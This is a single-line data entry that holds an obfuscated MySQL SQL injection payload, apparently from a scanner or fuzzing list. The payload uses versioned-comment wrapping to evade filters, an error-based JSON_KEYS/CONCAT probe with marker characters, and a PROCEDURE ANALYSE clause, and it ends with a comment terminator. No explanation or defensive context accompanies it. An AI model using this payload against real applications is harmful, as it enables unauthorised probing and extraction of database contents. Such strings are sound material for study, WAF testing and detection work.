1,,(/*!50000SELECT*/5350/*!50000FROM*/(/*!50000SELECT*/JSON_KEYS((/*!50000SELECT*//*!50000CONVERT*/((/*!50000SELECT*//*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(5350=5350,1))),%27~%27))/**/USING/**/utf8))))x) PROCEDURE ANALYSE(2621,1)-- -